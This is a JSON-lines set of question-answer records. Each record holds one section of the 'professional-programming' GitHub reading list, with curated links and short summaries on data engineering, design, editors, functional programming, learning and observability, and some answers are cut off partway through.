{"id": "gh_d5454cc63225", "question": "How to: Data science/data engineering", "question_body": "About charlax/professional-programming", "answer": "- [A dirty dozen: twelve common metric interpretation pitfalls in online controlled experiments](https://blog.acolyer.org/2017/09/25/a-dirty-dozen-twelve-common-metric-interpretation-pitfalls-in-online-controlled-experiments/)\n- [datastacktv/data-engineer-roadmap](https://github.com/datastacktv/data-engineer-roadmap): roadmap to becoming a data engineer\n- [Awesome Data Engineering Learning Path](https://awesomedataengineering.com/)\n- [Emerging Architectures for Modern Data Infrastructure](https://a16z.com/2020/10/15/the-emerging-architectures-for-modern-data-infrastructure/)\n- [How to Move Beyond a Monolithic Data Lake to a Distributed Data Mesh](https://martinfowler.com/articles/data-monolith-to-mesh.html)\n  - Data platforms based on the data lake architecture have common failure modes that lead to unfulfilled promises at scale.\n  - We need to consider domains as the first class concern, apply platform thinking to create self-serve data infrastructure, and treat data as a product.\n- [MLOps](https://madewithml.com/courses/mlops/)\n- [Uber's Big Data Platform: 100+ Petabytes with Minute Latency](https://eng.uber.com/uber-big-data-platform/)\n- [SQL should be the default choice for data transformation logic](https://www.robinlinacre.com/recommend_sql/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519881"}
{"id": "gh_22aaabcf6c3a", "question": "How to: Design (visual, UX, UI, typography)", "question_body": "About charlax/professional-programming", "answer": "I highly recommend reading [The Non-Designer's Design Book](http://www.amazon.com/gp/product/0133966151/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=1944687602&pf_rd_s=lpo-top-stripe-1&pf_rd_t=201&pf_rd_i=0321534042&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=1R7MVQP0BCP7GP9VZGYX). This is a pretty short book that will give you some very actionable design advices.\n\n- If you're working on data, Edward Tufte's [The Visual Display of Quantitative Information](http://www.amazon.com/Visual-Display-Quantitative-Information/dp/0961392142/ref=sr_1_1?ie=UTF8&qid=1458046603&sr=8-1&keywords=tufte) is considered a classic.\n- The [Universal Principles of Design](http://www.amazon.com/Universal-Principles-Design-Revised-Updated/dp/1592535879/ref=sr_1_1?ie=UTF8&qid=1458046663&sr=8-1&keywords=universal+principles+of+design) will give you enough vocabulary and concepts to describe design challenges into words.\n- [Book recommendations from HackerNews](https://news.ycombinator.com/item?id=12711060)\n- 🏙[Design for Non-Designers](https://speakerdeck.com/tracymakes/design-for-non-designers-beyond-tellerand-dusseldorf-2018)\n\nArticles :\n\n- [10 Usability Heuristics Every Designer Should Know](https://uxdesign.cc/10-usability-heuristics-every-designer-should-know-129b9779ac53)\n  - Visibility of System Status\n  - The Match Between The System And The Real World\n  - Every system should have a clear emergency exit\n  - Don't forget that people spend 90% of their time interacting with other apps\n  - Recognition Rather Than Recall (recognition = shallow form of retrieval from memory, e.g. a familiar person, recall = deeper retrieval)\n  - ”Perfection is achieved, not when there is nothing more to add, but when there is nothing left to take away.” – Antoine de Saint-Exupery\n  - Help Users Recognize, Diagnose, And Recover From Errors\n- [How to pick more beautiful colors for your data visualizations](https://blog.datawrapper.de/beautifulcolors/)\n- [Visual design rules you can safely follow every time](https://anthonyhobday.com/sideprojects/saferules/)\n- [Malleable software: Restoring user agency in a world of locked-down apps](https://www.inkandswitch.com/essay/malleable-software/)\n\nTypograhy: see \"Typography\" section\n\nResources:\n\n- 🧰 [bradtraversy/design-resources-for-developers](https://github.com/bradtraversy/design-resources-for-developers): design and UI resources from stock photos, web templates, CSS frameworks, UI libraries, tools...", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519899"}
{"id": "gh_146321b234dc", "question": "How to: Design (OO modeling, architecture, patterns, anti-patterns, etc.)", "question_body": "About charlax/professional-programming", "answer": "Here's a list of good books:\n\n- 📖 [Design Patterns: Elements of Reusable Object-Oriented Software](http://www.amazon.com/dp/0201633612/): dubbed \"the gang of four\", this is almost a required reading for any developer. A lot of those are a bit overkill for Python (because everything is an object, and dynamic typing), but the main idea (composition is better than inheritance) definitely is a good philosophy.\n  - And their nefarious nemesis [Resign Patterns](http://nishitalab.org/user/paulo/files/resign-patterns.txt)\n- 📖 [Patterns of Enterprise Application Architecture](http://www.amazon.com/dp/0321127420/?tag=stackoverfl08-20): learn about how database are used in real world applications. Mike Bayer's SQLAlchemy has been heavily influenced by this book.\n- 📖 [Domain-Driven Design: Tackling Complexity in the Heart of Software](https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215), Eric Evans\n- 📖 [Clean Architecture](https://www.goodreads.com/book/show/18043011-clean-architecture), Robert C. Martin. Uncle Bob proposes an architecture that leverages the Single Responsibility Principle to its fullest. A great way to start a new codebase. Also checkout the [clean architecture cheatsheet](cheatsheets/Clean-Architecture-V1.0.pdf) and [this article](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html).\n- 📖 [Game Programming Patterns](https://www.amazon.com/dp/0990582906/ref=cm_sw_em_r_mt_dp_U_9xygFb9M86CXY): a book about design, sequencing, behavioral patterns and much more by Robert Nystrom explained through the medium of game programming. The book is also free to read online [here](https://gameprogrammingpatterns.com/contents.html).\n\nOne of the absolute references on architecture is Martin Fowler: checkout his [Software Architecture Guide](https://martinfowler.com/architecture/).\n\nArticles:\n\n- O'Reilly's [How to make mistakes in Python](https://www.oreilly.com/content/how-to-make-mistakes-in-python/)\n- [Education of a Programmer](https://hackernoon.com/education-of-a-programmer-aaecf2d35312): a developer's thoughts after 35 years in the industry. There's a particularly good section about design & complexity (see \"the end to end argument\", \"layering and componentization\").\n- [Domain-driven design](https://en.wikipedia.org/wiki/Domain-driven_design), Wikipedia.\n- [On the Spectrum of Abstraction](https://www.youtube.com/watch?v=mVVNJKv9esE) 🎞, Cheng Lou\n- [The “Bug-O” Notation](https://overreacted.io/the-bug-o-notation/), Dan Abramov\n- [Antipatterns](./antipatterns)\n- [Inheritance vs. composition](http://learnpythonthehardway.org/book/ex44.html): a concrete example in Python. [Another slightly longer one here](http://python-textbok.readthedocs.io/en/latest/Object_Oriented_Programming.html). [One last one, in Python 3](http://blog.thedigitalcatonline.com/blog/2014/08/20/python-3-oop-part-3-delegation-composition-and-inheritance/#.V7SZ4tB96Rs).\n- [Composition Instead Of Inheritance](http://c2.com/cgi/wiki?CompositionInsteadOfInheritance)\n- [Complexity and Strategy](https://hackernoon.com/complexity-and-strategy-325cd7f59a92): interesting perspective on complexity and flexibility with really good examples (e.g. Google Apps Suite vs. Microsoft Office).\n- [The Architecture of Open Source Applications](https://aosabook.org/en/index.html)\n- [The Robustness Principle Reconsidered](https://cacm.acm.org/magazines/2011/8/114933-the-robustness-principle-reconsidered/fulltext)\n  - Jon Postel: \"Be conservative in what you do, be liberal in what you accept from others.\" (RFC 793)\n  - Two general problem areas are impacted by the Robustness Principle: orderly interoperability and security.\n- [Basics of the Unix Philosophy](http://catb.org/esr/writings/taoup/html/ch01s06.html#id2877610), Eric S Raymond\n- [Eight Habits of Expert Software Designers: An Illustrated Guide](https://thereader.mitpress.mit.edu/habits-of-expert-software-designers/)\n- [No Silver Bullet - Essence and Accident in Software Engineering](https://worrydream.com/refs/Brooks_1986_-_No_Silver_Bullet.pdf), Frederick P. Brooks, Jr. (1986)\n  - There are four properties of software systems which make building software hard: Complexity, Conformity, Changeability and Invisibility\n  - There are ways to address this:\n    - Exploiting the mass market to avoid constructing what can be bought. (\"Buy vs. Build\")\n    - Using rapid prototyping as part of a planned iteration in establishing software requirements.\n    - Growing software organically, adding more and more function to systems as they are run, used, and tested\n    - Identifying and developing the great conceptual designers of the rising generation.\n    - (also included in The Mythical Man-Month)\n- [Out of the Tar Pit](https://curtclifton.net/papers/MoseleyMarks06a.pdf), Ben Moseley, Peter Marks (2006) introduces the distinction between essential and accidental complexity\n  - Complexity is the root cause of the vast majority of problems with software today. Unreliab", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 50255, "answer_score": 10, "has_code": true, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519931"}
{"id": "gh_7b7bf044cf87", "question": "How to: Dev environment & tools", "question_body": "About charlax/professional-programming", "answer": "- 🧰 [Awesome Dev Env](https://github.com/jondot/awesome-devenv)\n\nTools\n\n- [Glances: An eye on your system](https://github.com/nicolargo/glances)\n- [HTTPie: a CLI, cURL-like tool for humans](https://github.com/jkbrzt/httpie)\n- [jq: command-line JSON processor](https://stedolan.github.io/jq/)\n- [tmux: terminal multiplexer](http://tmux.github.io/)\n- [htop: an interactive process viewer for Linux](http://hisham.hm/htop/)\n- [htop explained](https://peteris.rocks/blog/htop/)\n- [socat](https://copyconstruct.medium.com/socat-29453e9fc8a6)\n- [Visual guide to SSH tunnels](https://robotmoon.com/ssh-tunnels/)\n- [casey/just](https://github.com/casey/just/): a command runner written in Rust (claims to be better than Makefile)\n- [Gazr](https://gazr.io/): an opinionated way to define your `Makefile`\n\nArticle about tools:\n\n- [The return of fancy tools](https://macwright.com/2021/03/16/return-of-fancy-tools.html)\n  - Simple tools make you think a little more\n  - Drucker: \"I’m not writing it down to remember it later, I’m writing it down to remember it now.\"\n  - Frictionless note-taking produces notes, but it doesn't produce memory.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519941"}
{"id": "gh_f622c38ab482", "question": "How to: Documentation", "question_body": "About charlax/professional-programming", "answer": "- [Documentation-Driven Development](https://gist.github.com/zsup/9434452)\n- [Writing automated tests for your documentation](https://krausefx.com/blog/writing-automated-tests-for-your-documentation): this should be required, IMO. Testing code samples in your documentation ensures they never get outdated.\n- 🏙 [Documentation is king](https://speakerdeck.com/kennethreitz/documentation-is-king), Kenneth Reitz\n- [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)\n- [Architectural Decision Records (ADR)](https://adr.github.io/): a way to document architecture decision.\n- [Documenting Architecture Decisions](https://cognitect.com/blog/2011/11/15/documenting-architecture-decisions)\n- [joelparkerhenderson/architecture-decision-record](https://github.com/joelparkerhenderson/architecture-decision-record): examples and templates for ADR.\n  - And a CLI tool: [npryce/adr-tools](https://github.com/npryce/adr-tools)\n- [The documentation system](https://documentation.divio.com/)\n- [Checklist for checklists](https://www1.nyc.gov/assets/doh/downloads/pdf/em/gawande_checklist.pdf)\n- [Best practices for writing code comments](https://stackoverflow.blog/2021/12/23/best-practices-for-writing-code-comments/)\n- [Always be quitting](https://jmmv.dev/2021/04/always-be-quitting.html)\n  - Document your knowledge\n  - Train your replacement\n  - Delegate\n  - By being disposable, you free yourself to work on high-impact projects.\n- [Write documentation first. Then build.](https://reproof.app/blog/document-first-then-build)\n- [Diátaxis](https://diataxis.fr/): a systematic approach to technical documentation authoring\n  - There are four modes: tutorials, how-to guides, technical reference and explanation\n  - The docs goes into a lot of details about each model.\n- [ARCHITECTURE.md](https://matklad.github.io/2021/02/06/ARCHITECTURE.md.html)\n- [Two open source projects with great documentation](https://johnjago.com/great-docs/) (esbuild and redis)\n- [Rules for Writing Software Tutorials](https://refactoringenglish.com/chapters/rules-for-software-tutorials/)\n\n> The palest ink is more reliable than the most powerful memory.\n> -- Chinese proverb", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519953"}
{"id": "gh_819a13c16388", "question": "How to: Editors & IDE", "question_body": "About charlax/professional-programming", "answer": "- [Sublime Text essential plugins and resources](https://github.com/dreikanter/sublime-bookmarks)\n- Bram Moolenaar (Vim author), [Seven habits of effective text editing](http://www.moolenaar.net/habits.html) ([presentation](http://www.moolenaar.net/habits_2007.pdf)). This is about Vim but it contains good lessons about why investing time in learning how to be productive with your text editors pays off.\n- [VScode](https://code.visualstudio.com/) is one of the most popular text editors as of writing.\n  - [Visual Studio Code Can Do That?](https://www.smashingmagazine.com/2018/01/visual-studio-code/), Smashing Magazine.\n- [Coding with Character](https://realdougwilson.com/writing/coding-with-character)\n\n#### Vim\n\n- 🧰 [vim-awesome](http://vimawesome.com/)\n- 🎞 [Vimcasts](http://vimcasts.org/)\n- ⭐️ [Is Vim Really Not For You? A Beginner Guide](https://thevaluable.dev/vim-beginner/)\n  - The first part of a series of 6 articles with lots of detailed and practical tips for using Vim efficiently.\n  - [A Vim Guide for Advanced Users](https://thevaluable.dev/vim-advanced/): more advanced shortcuts and commands\n- 📖 [Learning the vi and Vim Editors](https://www.oreilly.com/library/view/learning-the-vi/9780596529833/)\n- 📖 [Practical Vim](https://pragprog.com/titles/dnvim2/practical-vim-second-edition/), Drew Neil\n- [Learn Vimscript the Hard Way](https://learnvimscriptthehardway.stevelosh.com/)\n- [VimGolf](https://www.vimgolf.com/): nice challenges to learn Vim\n- [Vim anti-patterns](https://blog.sanctum.geek.nz/vim-anti-patterns/)\n- [Learn Vim For the Last Time: A Tutorial and Primer](https://danielmiessler.com/study/vim/)\n- [Vim Cheat Sheet & Quick Reference](https://quickref.me/vim)\n- [History and effective use of Vim](https://begriffs.com/posts/2019-07-19-history-use-vim.html)\n- [Moving Blazingly Fast With The Core Vim Motions](https://www.barbarianmeetscoding.com/boost-your-coding-fu-with-vscode-and-vim/moving-blazingly-fast-with-the-core-vim-motions/)\n- [micahkepe/vimtutor-sequel: Vimtutor Sequel - Advanced Vim Tutor Lessons](https://github.com/micahkepe/vimtutor-sequel)\n- [Vim Racer - An Online Game for VIM Navigation](https://vim-racer.com/)\n\nFeel free to check my [vim configuration](https://github.com/charlax/dotfiles/tree/master/vim) and my [vim cheatsheet](https://github.com/charlax/dotfiles/tree/master/vim).\n\nOther editors:\n\n- [Use GNU Emacs](https://www2.lib.uchicago.edu/keith/emacs/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519966"}
{"id": "gh_dd5e4fb14fd6", "question": "How to: Engineering management", "question_body": "About charlax/professional-programming", "answer": "Checkout my [list of management resources](https://github.com/charlax/engineering-management).", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519971"}
{"id": "gh_61c6360805e6", "question": "How to: Experimentation", "question_body": "About charlax/professional-programming", "answer": "- [8 annoying A/B testing mistakes every engineer should know](https://posthog.com/blog/ab-testing-mistakes)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519978"}
{"id": "gh_06641515e5b1", "question": "How to: Functional programming (FP)", "question_body": "About charlax/professional-programming", "answer": "- [Goodbye, Object Oriented Programming](https://medium.com/@cscalfani/goodbye-object-oriented-programming-a59cda4c0e53#.39ax09e4k)\n- [Functional Programming & Haskell](https://www.youtube.com/watch?v=LnX3B9oaKzw) 🎞: some good reasons to learn FP!\n- [Functional Programming Fundamentals](https://www.matthewgerstman.com/functional-programming-fundamentals/): short introduction to FP and its advantages.\n- [OO vs FP](https://blog.cleancoder.com/uncle-bob/2014/11/24/FPvsOO.html), Robert C. Martin, The Clean Code Blog. A pretty interesting take on the differences between OOP and FP from an expert in OOP.\n  - OO is not about state. Objects are bags of functions, not bags of data.\n  - Functional Programs, like OO Programs, are composed of functions that operate on data.\n  - FP imposes discipline upon assignment.\n  - OO imposes discipline on function pointers.\n  - The principles of software design still apply, regardless of your programming style. The fact that you’ve decided to use a language that doesn’t have an assignment operator does not mean that you can ignore the Single Responsibility Principle.\n- [Parse, don’t validate](https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/)\n  - Use a data structure that makes illegal states unrepresentable\n  - Push the burden of proof upward as far as possible, but no further\n  - Let your datatypes inform your code, don’t let your code control your datatypes\n  - Don’t be afraid to parse data in multiple passes\n  - Avoid denormalized representations of data, especially if it’s mutable\n  - Use abstract datatypes to make validators “look like” parsers\n- 🏙 [Functional Programming](https://speakerdeck.com/igstan/functional-programming)\n- [Monads in 15 minutes](https://nikgrozev.com/2013/12/10/monads-in-15-minutes/)\n- [hemanth/functional-programming-jargon](https://github.com/hemanth/functional-programming-jargon): jargon from the functional programming world in simple terms\n- [The definitive guide to learning functional programming](https://forum.exercism.org/t/the-definitive-guide-to-learning-functional-programming/3254), Exercism", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519989"}
{"id": "gh_a0ba57b5969b", "question": "How to: Games development", "question_body": "About charlax/professional-programming", "answer": "- [Introduction · Joys of Small Game Development](https://abagames.github.io/joys-of-small-game-development-en/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.519994"}
{"id": "gh_dd90965bef4f", "question": "How to: Kubernetes", "question_body": "About charlax/professional-programming", "answer": "- [OWASP/www-project-kubernetes-top-ten](https://github.com/OWASP/www-project-kubernetes-top-ten)\n- [Kubernetes Tutorial for Beginners: Basic Concepts](https://spacelift.io/blog/kubernetes-tutorial)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520039"}
{"id": "gh_320c94367a08", "question": "How to: Large Language Model (LLM)", "question_body": "About charlax/professional-programming", "answer": "- [What Is ChatGPT Doing… and Why Does It Work?](https://writings.stephenwolfram.com/2023/02/what-is-chatgpt-doing-and-why-does-it-work/), Stephen Wolfram\n- [Embeddings: What they are and why they matter](https://simonwillison.net/2023/Oct/23/embeddings/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520044"}
{"id": "gh_c6449da1d2f5", "question": "How to: Learning & memorizing", "question_body": "About charlax/professional-programming", "answer": "Learn how to learn!\n\n- [How I Rewired My Brain to Become Fluent in Math](https://nautil.us/how-i-rewired-my-brain-to-become-fluent-in-math-235085): subtitled _the building blocks of understanding are memorization and repetition_.\n- [One Sure-Fire Way to Improve Your Coding](https://changelog.com/posts/one-sure-fire-way-to-improve-your-coding): reading code!\n- [Tips for learning programming](http://blog.hiphipjorge.com/tips-for-learning-programming/)\n- [You can increase your intelligence: 5 ways to maximize your cognitive potential](https://blogs.scientificamerican.com/guest-blog/you-can-increase-your-intelligence-5-ways-to-maximize-your-cognitive-potential/): forgive the clickbait title, it’s actually a good article.\n- [How to ask good questions](https://jvns.ca/blog/good-questions/), Julia Evans.\n- [Stop Learning Frameworks](https://sizovs.net/2018/12/17/stop-learning-frameworks/)\n- [Learning How to Learn](https://www.coursera.org/learn/learning-how-to-learn): powerful mental tools to help you master tough subjects\n- [Why books don’t work](https://andymatuschak.org/books/), Andy Matuschak.\n  - \"As a medium, books are surprisingly bad at conveying knowledge, and readers mostly don’t realize it.\"\n  - \"In learning sciences, we call this model “transmissionism.” It’s the notion that knowledge can be directly transmitted from teacher to student, like transcribing text from one page onto another. If only!\"\n  - \"By re-testing yourself on material you’ve learned over expanding intervals, you can cheaply and reliably commit huge volumes of information to long-term memory.\"\n- [Strategies, Tips, and Tricks for Anki](https://senrigan.io/blog/everything-i-know-strategies-tips-and-tricks-for-spaced-repetition-anki/): those advices work for any tool actually\n  - Add images. Our brains are wired visually, so this helps retention.\n  - Don't add things you don't understand.\n  - Don't add cards memorizing entire lists.\n  - Write it out. For wrong answers, I'll write it on paper. The act of writing is meditative. I really enjoy this.\n  - Keep on asking yourself why? why does this work? why does it work this way? Force yourself to understand the root of a topic.\n  - Cornell Method: when reading a topic, write out questions on the margins to quiz yourself.\n  - Pretend you have to teach it\n  - Use mnemonics phrases like PEMDAS for lists and other hard-to-remember topics.\n  - Delete cards that don't make sense or you don't want to remember anymore.\n- [Effective learning: Twenty rules of formulating knowledge](https://www.supermemo.com/en/archives1990-2015/articles/20rules)\n  - Build upon the basics\n  - Stick to the minimum information principle: the material you learn must be formulated in as simple way as it is\n  - Cloze deletion is easy and effective: Kaleida's mission was to create a ... It finally produced one, called Script X. But it took three years\n  - Graphic deletion is as good as cloze deletion\n  - Avoid sets\n  - Avoid enumerations\n  - Combat interference - even the simplest items can be completely intractable if they are similar to other items. Use examples, context cues, vivid illustrations, refer to emotions, and to your personal life\n  - Personalize and provide examples - personalization might be the most effective way of building upon other memories. Your personal life is a gold mine of facts and events to refer to. As long as you build a collection for yourself, use personalization richly to build upon well established memories\n  - Provide sources - sources help you manage the learning process, updating your knowledge, judging its reliability, or importance\n  - Prioritize - effective learning is all about prioritizing.\n- [How to Remember Anything You Really Want to Remember, Backed by Science](https://www.inc.com/jeff-haden/how-to-remember-anything-you-really-want-to-remember-backed-by-science.html)\n  - Quiz yourself\n  - Summarize and share with someone else.\n  - Connect what you just learned to experiences you previously had.\n- [How To Remember Anything Forever-ish](https://ncase.me/remember/): a comic about learning\n- [Get better at programming by learning how things work](https://jvns.ca/blog/learn-how-things-work/)\n- [How to teach yourself hard things](https://jvns.ca/blog/2018/09/01/learning-skills-you-can-practice/)\n- [Building Your Own Personal Learning Curriculum](https://www.smashingmagazine.com/2021/02/building-personal-learning-curriculum/)\n- [Always do Extra](http://www.bennorthrop.com/Essays/2021/always-do-extra.php)\n  - Extra is finishing those two screens, but then researching a new library for form validation that might reduce the boilerplate code.\n  - Extra must be balanced against Normal Work.\n  - Extra must be aligned with your Normal Work.\n- [Against 3X Speed](https://perell.com/essay/against-3x-speed/)\n  - Lectures are most effective when they’re only a component of the classroom experience\n  - Learning is about spaced repetition, not binge-reading books\n- [The Problems with Deliberate Practic", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520085"}
{"id": "gh_b4b77821f701", "question": "How to: Licenses (legal)", "question_body": "About charlax/professional-programming", "answer": "- [Software Licenses in Plain English](https://tldrlegal.com/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520090"}
{"id": "gh_7440408f3117", "question": "How to: Linux (system management)", "question_body": "About charlax/professional-programming", "answer": "- [Welcome to Linux command line for you and me!](https://lym.readthedocs.io/en/latest/index.html)\n- [Linux Performance](https://www.brendangregg.com/linuxperf.html), Brendan Gregg\n- [Linux disk I/O diagram](https://zenodo.org/records/15234151)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520094"}
{"id": "gh_88eed7460d7f", "question": "How to: Low-code/no-code", "question_body": "About charlax/professional-programming", "answer": "- [How Levels.fyi scaled to millions of users with Google Sheets as a backend](https://www.levels.fyi/blog/scaling-to-millions-with-google-sheets.html)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520098"}
{"id": "gh_1207c28d035c", "question": "How to: Low-level, assembly", "question_body": "About charlax/professional-programming", "answer": "- [Back to Basics](https://www.joelonsoftware.com/2001/12/11/back-to-basics/), Joel Spolsky. Explains why learning low level programming is important.\n  - I think that some of the biggest mistakes people make even at the highest architectural levels come from having a weak or broken understanding of a few simple things at the very lowest levels.\n- [What's in a Linux executable?](https://fasterthanli.me/series/making-our-own-executable-packer/part-1)\n- 📖 [The Elements of Computing Systems](https://www.nand2tetris.org/book): building a modern computer from first principles (nand2tetris).\n- [Old pattern powering modern tech](https://softwarebits.substack.com/p/old-pattern-powering-modern-tech?s=r)\n- [Demystifying bitwise operations, a gentle C tutorial](https://www.andreinc.net/2023/02/01/demystifying-bitwise-ops)\n- [Understanding the Power of Bitwise Operators. No math needed](https://www.deusinmachina.net/p/understanding-the-power-of-bitwise)\n- [Memory Allocation](https://samwho.dev/memory-allocation/) (an interactive article)\n- [Why does 0.1 + 0.2 = 0.30000000000000004?](https://jvns.ca/blog/2023/02/08/why-does-0-1-plus-0-2-equal-0-30000000000000004/), Julia Evans (about floating point)\n- [Putting the \"You\" in CPU](https://cpu.land/the-basics)\n- [x86-64 Assembly Language Programming with Ubuntu](http://www.egr.unlv.edu/~ed/assembly64.pdf)\n- [XOR](https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/xor/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520107"}
{"id": "gh_edda15d6477a", "question": "How to: Machine learning/AI", "question_body": "About charlax/professional-programming", "answer": "- [Transformers from Scratch](https://e2eml.school/transformers.html)\n- [A Gentle Introduction to Graph Neural Networks](https://distill.pub/2021/gnn-intro/)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520114"}
{"id": "gh_c87a221e0aa5", "question": "How to: Observability (monitoring, logging, exception handling)", "question_body": "About charlax/professional-programming", "answer": "_See also: [Site Reliability Engineering (SRE)](#site-reliability-engineering-sre)_\n\n#### Logging\n\n- [Do not log](https://sobolevn.me/2020/03/do-not-log) dwells on some logging antipatterns.\n  - Logging does not make much sense in monitoring and error tracking. Use better tools instead: error and business monitorings with alerts, versioning, event sourcing.\n  - Logging adds significant complexity to your architecture. And it requires more testing. Use architecture patterns that will make logging an explicit part of your contracts\n  - Logging is a whole infrastructure subsystem on its own. And quite a complex one. You will have to maintain it or to outsource this job to existing logging services\n- [Lies My Parents Told Me (About Logs)](https://www.honeycomb.io/blog/lies-my-parents-told-me-about-logs/)\n  - Logs are cheap\n  - I can run it better myself\n  - Leveled logging is a great way to separate information\n  - Logs are basically the same as events\n  - A standard logging format is good enough\n- [Logging - OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [The Audit Log Wall of Shame](https://audit-logs.tax/): list of vendors that don’t prioritize high-quality, widely-available audit logs for security and operations teams.\n- [Guide on Structured Logs](https://signoz.io/blog/structured-logs/)\n- [What an error log level should mean](https://utcc.utoronto.ca/~cks/space/blog/programming/ErrorsShouldRequireFixing)\n- [Logging Sucks - Your Logs Are Lying To You](https://loggingsucks.com/)\n\n#### Error/exception handling\n\n- [Error handling antipatterns](./antipatterns/error-handling-antipatterns.md) in this repo.\n- [Writing Helpful Error Messages](https://developers.google.com/tech-writing/error-messages), Google Developers' course on Technical Writing\n  - Explain the problem\n  - Explain the solution\n  - Write clearly\n- [Errors, Errors Everywhere: How We Centralized and Structured Error Handling](https://olivernguyen.io/w/namespace.error/) (for Go, but useful for any languages)\n- For inspiration: [Handle Errors - Graph API](https://developers.facebook.com/docs/graph-api/guides/error-handling#receiving-errorcodes)\n\n#### Metrics\n\n- [Meaningful availability](https://blog.acolyer.org/2020/02/26/meaningful-availability/)\n  - A good availability metric should be meaningful, proportional, and actionable. By \"meaningful\" we mean that it should capture what users experience. By \"proportional\" we mean that a change in the metric should be proportional to the change in user-perceived availability. By \"actionable\" we mean that the metric should give system owners insight into why availability for a period was low. This paper shows that none of the commonly used metrics satisfy these requirements…\n- 📃 [Meaningful Availability](https://www.usenix.org/conference/nsdi20/presentation/hauer) paper.\n  - This paper presents and evaluates a novel availability metric: windowed user-uptime\n\n#### Monitoring\n\n- Google, [Site Reliability Engineering, Monitoring Distributed Systems](https://landing.google.com/sre/sre-book/chapters/monitoring-distributed-systems/)\n  - [Alerting on SLOs](https://sre.google/workbook/alerting-on-slos/)\n- PagerDuty, [Monitoring Business Metrics and Refining Outage Response](https://www.pagerduty.com/blog/monitoring-business-metrics/)\n- 🧰 [crazy-canux/awesome-monitoring](https://github.com/crazy-canux/awesome-monitoring): monitoring tools for operations.\n- [Monitoring in the time of Cloud Native](https://medium.com/@copyconstruct/monitoring-in-the-time-of-cloud-native-c87c7a5bfa3e)\n- [How to Monitor the SRE Golden Signals](https://medium.com/faun/how-to-monitor-the-sre-golden-signals-1391cadc7524)\n  - From the Google SRE book: Latency, Traffic, Errors, and Saturation\n  - USE Method (from Brendan Gregg): Utilization, Saturation, and Errors\n  - RED Method (from Tom Wilkie): Rate, Errors, and Duration\n- [Simple 